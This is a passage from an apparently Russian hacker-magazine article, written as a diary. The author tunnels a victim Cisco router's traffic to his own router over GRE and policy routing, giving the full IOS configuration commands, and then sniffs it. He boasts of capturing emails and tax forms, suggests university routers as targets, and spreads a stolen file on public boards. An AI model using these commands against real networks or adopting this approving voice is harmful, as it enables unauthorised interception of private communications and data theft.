Укрощение дикой киски Street (streetseeker@mail.ru) Хакер, номер #071, стр. 071-068-2 Поиски в куче хлама в углу комнаты привели к извлечению на свет божий старенького Cisco 805 (понятно, что сей девайс редко валяется просто так, но ты можешь использовать, например, университетские роутеры). Подняв найденную железку, я приступил к созданию туннеля. Для этого я залогинился на целевой роутер и выполнил следующие команды: conf t int tunnel0 ip address ip_adress_туннеля net_mask_туннеля tunnel source eth0/1 tunnel dest ip_adres_attack_routera tunnel mode gre ip exit exit Таким образом, на роутере-жертве был создан туннель с именем tunnel0. Ему назначен указанный мною виртуальный IP-адрес. Начальной точкой туннеля считается ethernet-интерфейс жертвы, а конечной - IP роутера атакующего. Аналогичные команды выполняются и на локальном роутере. Разумеется, меняются значения ip address и dest. Все, туннель создан. Учти, есть одна особенность - независимо от количества узлов на пути следования пакетов, GRE-туннель считается одним большим хопом. День второй, после обеда В статье старины Джошуа разобрано сразу две методики, одна краше другой. Я использовал первый способ, поскольку точно знал, что на атакуемом роутере имеется ethernet-интерфейс. Чтобы реализовать атаку, в зло-консоли атакующего роутера я выполнил следующие команды: conf t access-list 100 permit ip any any route-map reflect match ip address 100 set ip next-hop ip_atakuemogo_routera(tonnel) exit int tunnel0 ip policy route-map reflect exit exit Аксесс-лист 100 охватывает весь IP-трафик. Карта маршрутизации выбирает весь трафик, который подходит по аксесс-листу, и отправляет его на IP-адрес туннеля, расположенного на атакуемом роутере. Эта конфигурация будет применена к туннелю tunnel0. В итоге мы получили следующее: весь трафик, пробегающий по маршрутизатору ломаемой сети, отправляется на зло-роутер, а обратные пакеты, также при помощи туннеля, форвардятся обратно к жертве. Понятно, что отсниффать передаваемый моим собственным роутером трафик не составит большой проблемы. Проделав все это у себя, я отправился в ларек за чем-нибудь съедобным. Купив пару пакетиков сушеных кальмаров и банку рыбных консервов, я присел за клавиатуру и, хрумкая, стал наблюдать. Картина была не дай боже: за 1,5 часа по сетке пробежали лишь несколько служебных пакетов и больше ничего. «Наверное, дело в том, что сейчас три часа ночи»,- подумал я и, поев, отправился на боковую. День третий. Развязка Примерно в обед я вновь активировал всю эту схему, и тут началось такое! Спустя пару часов я был счастливым обладателем полного пакета обновлений за период с 2003 по 2004 годы, нескольких десятков интересных писем и четырех mp3 с песнями Иванушек (ударение ставить на «У») :). Потом посыпались электронные формы налоговой отчетности, и я счел за благо отвалить. Вечером того же дня я стал не менее счастливым обладателем двух кегов «Балтики», здоровенной пиццы и нескольких тысяч «спасибо» =). Далее я повесил на нескольких public board'ах украденный файл и, заглянув через два дня, увидел, что число обращений перевалило за 400 ;). Воистину, халява имеет запах. Иначе как они так быстро это пронюхали? :) |